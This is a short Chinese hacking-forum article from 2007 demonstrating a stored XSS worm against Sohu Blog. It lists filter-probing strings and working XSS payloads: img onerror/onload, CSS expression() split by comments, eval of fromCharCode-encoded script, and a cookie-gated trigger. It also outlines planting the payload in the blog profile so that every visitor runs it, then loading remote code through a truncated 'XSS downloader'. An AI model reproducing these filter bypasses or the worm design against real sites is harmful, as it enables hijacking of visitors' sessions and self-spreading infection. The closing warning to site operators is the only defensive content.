| 完整的XSS wrom入侵实例 |
| 完整的XSS wrom入侵实例 | ||
| 作者:佚名 文章来源:不详 更新时间:2007-11-9 7:35:07 【字体:小 大】 | ||
不说废话,且看怎么实现,我先拿SOHU BLOG做示范. ’’;:!--"<javascript JAvaSCriPT>={()} \/ 结果 ’’;:!--"={()} // (&后是amp,论坛过滤了) 过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手. 2.测试一个XSS常用属性和两个事件,貌似没有过滤字符. 3.下面开始尝试构造语句.如下: <img src="#" style="Xss:expression(alert(’xss’));"> <img src="#" onerror=alert(’xss’)> <img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)> 构造完整标记,页面输出后又全部过滤. 4."/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句: <div style="xss:ex/**/pre/**/ssion(alert(’xss’))"> 5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句: <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}"> //设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数. 6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行: <div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))"> 7.感染流程考虑: ㈠.BLOG页面的个人档案处是页面通用的, ㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS ㈢.实现一段提交XSS内容到个人档案的代码. 8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader. 主要代码: function d(){ http://s0n9.blog.sohu.com/31406970.html 页面代码: alert%28%27xss%27%29%3B PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发 。 |
||
|
||
| 文章录入:YesHack 责任编辑:YesHack | ||
您现在的位置: